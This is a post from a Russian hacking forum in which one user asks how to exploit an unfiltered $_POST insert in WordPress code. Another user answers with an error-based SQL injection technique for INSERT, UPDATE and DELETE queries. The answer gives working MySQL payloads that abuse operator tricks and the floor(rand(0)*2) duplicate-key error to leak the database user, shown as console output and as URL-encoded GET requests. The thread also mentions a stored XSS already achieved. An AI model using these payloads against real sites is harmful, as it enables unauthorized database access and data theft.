|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от ne0k
Интересно.. Поиграюсь вечером..
Есть еще вопрос. Возможно ли провести sql inj при INSERT в БД данных из массива? При этом, данные, в массиве из $_POST, и ни коем образом не фильтруются...
Вот так:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]insert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TABLE[/COLOR][COLOR="#007700"],
array([/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'settings'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$settings[/COLOR][COLOR="#007700"]),
[/COLOR][COLOR="#DD0000"]'created'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Y-m-d"[/COLOR][COLOR="#007700"]),
[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]],
[/COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'description'[/COLOR][COLOR="#007700"]]));
[/COLOR][/COLOR]
Смог реализовать активную XSS.. Данные инсертятся в БД без какой либо фильтрации, соответственно потом, при выборке title и или description, срабатывает XSS на странице..
Возможно провести инъекцию если есть вывод ошибки. Процитирую сообщение s4avrd0w:
Сообщение от None
SQLi в Insert/Update/Delete/etc
Все знают, что склеивание строк в MySQL происходит с использованием функций concat() и concat_ws(), а также с использованием комментариев /**/ и /*!12345*/, или, с использованием "размешивания" кавычек "1"'2'"3" и '1'"2"'3'.
Но не все знают, что MySQL поддерживает все следующие операнды для работы со строками:
+, -, =, &, |, &&, ||, , =, !=, <>, ^, *, >, <>, %, /, , or not, and not, div, xor, or, and
помимо привычных like, sounds like, regexp, rlike, not like, not regexp и т.д.
Так, запросы вида:
select * from users where name = 'te'+'st';
select * from users where name = 'te'='st';
вернут все содержимое таблицы users т.к. (select 'te'+'st') и (select 'te'='st') = 0
А запросы вида (select 'te'%'st') и (select 'te'/'st') = NULL и потому, в приведенной выше конструкции, аналогичным образом указанные запросы вернут содержимое всей таблицы.
Стоит сказать, что символы + и - можно "плодить" до бесконечности. И только, когда будет достигнут лимит строки (у меня это 1048577) результатом станет NULL.
К слову, для конструкций вида:
!=!, !=!!, !=!!! … !=!!!!! или !=!!>! или !=!! или !=!~!~! или !=!+! или !=!-!
это утверждение также справедливо.
Все приведенное выше находит свое применение, когда SQLi попадает в строковый параметр. И если в selection-based инъекциях можно на это особо не заморачиваться, то при эксплуатации инъекций в insert/update/delete/etc с этим приходится сталкиваться. Примеры:
/*(1)*/ insert into users (id,name) values (1,'sqli');
mysql> insert into users (id,name) values (1,''&(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a));
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'
в http/get:
/index.php?s='%2b(select+1+from(select+count(*),con cat((select+user ()+from+information_schema.tables+limit+0,1),0x3a, floor(rand(0)*2))x+from+information_schema.tables+ group+by+x)a)%2b'
/index.php?s='%26(select+1+from(select+count(*),con cat((select+user ()+from+information_schema.tables+limit+0,1),0x3a, floor(rand(0)*2))x+from+information_schema.tables+ group+by+x)a)%26'
/*(2)*/ insert into users set name='sqli';
mysql> insert into users set name=''div(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)!=!!!'';
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'
mysql> insert into users set name=''and(select 1 from(select count(*),concat((select user()from information_schema.tables limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a)or'';
ERROR 1062 (23000): Duplicate entry 'root@localhost:1' for key 'group_key'
Для Update/Delete запросы аналогичным образом будут работать.
|